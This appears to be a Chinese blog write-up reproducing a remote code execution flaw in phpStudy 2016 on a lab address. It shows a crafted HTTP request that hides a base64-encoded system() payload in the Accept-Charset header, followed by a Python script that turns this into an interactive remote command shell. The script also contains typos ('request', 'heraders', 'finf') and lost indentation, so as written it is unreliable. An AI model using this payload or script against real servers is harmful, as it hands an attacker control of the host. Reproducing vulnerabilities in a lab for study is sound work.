RCE漏洞
RCE(远程代码执行漏洞),可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。通常是由于服务器没有对执行的命令或代码做严格的过滤,最终导致攻击者上传的恶意命令或代码被执行。
phpstudy漏洞复现
启动phpstudy,我使用的phpstudy版本是2016_5.4.45。
访问phpstudy页面,使用bp抓包。
将数据包发送至Repeater重放模块
然后就是插入漏洞验证代码,可以看到重放包后页面返回了执行ipconfig后的回显
Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
Accept-Encoding: gzip,deflate(原数据包内若已经有了记得去空格)
’c3lzdGVtKCdpcGNvbmZpZycpOw==‘其实就是ipconfig使用base64编码后的命令,也就是说我们可以通过修改数据包内容来达到远程命令执行的效果。
编写exp
# phpstudy_2016_rce.py
import requests
import base64
while True:
url = "http://192.168.66.29"
inp = input("Please input:")
cmd = f"system('{inp}');" #编写命令执行代码
cmd = base64.b64encode(cmd.encode()) #对代码进行base64编码
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept-Charset" : cmd, #构造头部
"Accept-Encoding" : "gzip,deflate"
}
res = request.get(url = url , heraders = headers) #请求包
reslut = res.content.decode("gb2312") #gb2312编码
reslut = reslut[0:reslut.finf("<DOCTYPE html")] #利用切片过滤回显
print(reslut)
if inp == "qu" : #输入qu响应退出
break
效果如下